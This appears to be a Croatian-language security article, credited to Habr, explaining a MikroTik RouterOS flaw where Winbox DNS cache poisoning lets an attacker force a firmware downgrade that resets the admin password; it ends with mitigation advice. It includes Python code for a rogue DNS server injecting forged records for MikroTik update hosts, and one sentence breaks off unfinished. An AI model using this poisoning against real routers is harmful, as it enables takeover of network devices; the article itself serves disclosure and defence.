Mogućnost daljinskog vraćanja uređaja temeljenih na RouterOS (Mikrotik) na stariju verziju dovodi u opasnost stotine tisuća mrežnih uređaja. Ranjivost je povezana s trovanjem DNS predmemorije Winbox protokola i omogućuje učitavanje zastarjelog (sa zadanom poništavanjem lozinke) ili modificiranog firmvera na uređaj.
Pojedinosti o ranjivosti
RouterOS terminal podržava naredbu resolve za DNS traženje.
Ovim zahtjevom upravlja binarni program koji se zove razrješavač. Resolver je jedna od mnogih binarnih datoteka koje se povezuju na RouterOS-ov Winbox protokol. Na visokoj razini, "poruke" poslane na Winbox priključak mogu se preusmjeriti u različite binarne datoteke u RouterOS-u na temelju sheme numeriranja temeljene na nizu.
Prema zadanim postavkama, RouterOS ima onemogućenu značajku DNS poslužitelja.
Međutim, čak i kada je funkcija poslužitelja onemogućena, usmjerivač održava vlastitu DNS predmemoriju.
Kada podnesemo zahtjev koristeći winbox_dns_request na primjer example.com, usmjerivač će predmemorirati rezultat.
Budući da možemo odrediti DNS poslužitelj kroz koji treba ići zahtjev, unos netočnih adresa je trivijalan. Na primjer, možete konfigurirati implementaciju DNS poslužitelja iz
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Sada ako pretražujete example.com pomoću Winboxa, možete vidjeti da je DNS predmemorija usmjerivača zatrovana.
Naravno, trovanje example.com nije baš korisno jer ga usmjerivač zapravo neće koristiti. Međutim, ruter mora pristupiti upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com i download.mikrotik.com. A zahvaljujući još jednoj pogrešci, moguće ih je sve otrovati odjednom.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Usmjerivač traži jednu dozvolu, a mi vraćamo pet. Usmjerivač ne sprema ispravno sve ove odgovore u predmemoriju.
Očito, ovaj napad je također koristan ako usmjerivač djeluje kao DNS poslužitelj, budući da omogućuje napad na klijente usmjerivača.
Ovaj napad također vam omogućuje da iskoristite ozbiljniju ranjivost: smanjite ili vratite verziju RouterOS-a. Napadač ponovno kreira logiku poslužitelja za ažuriranje, uključujući dnevnik promjena, i prisiljava RouterOS da percipira zastarjelu (ranjivu) verziju kao trenutnu. Opasnost ovdje leži u činjenici da kada se verzija "ažurira", administratorska lozinka se vraća na zadanu vrijednost - napadač se može prijaviti na sustav s praznom lozinkom!
Napad prilično funkcionira, unatoč činjenici da
zaštita
Jednostavno onemogućavanje Winboxa omogućuje vam da se zaštitite od ovih napada. Unatoč praktičnosti administracije putem Winboxa, bolje je koristiti SSH protokol.
Izvor: www.habr.com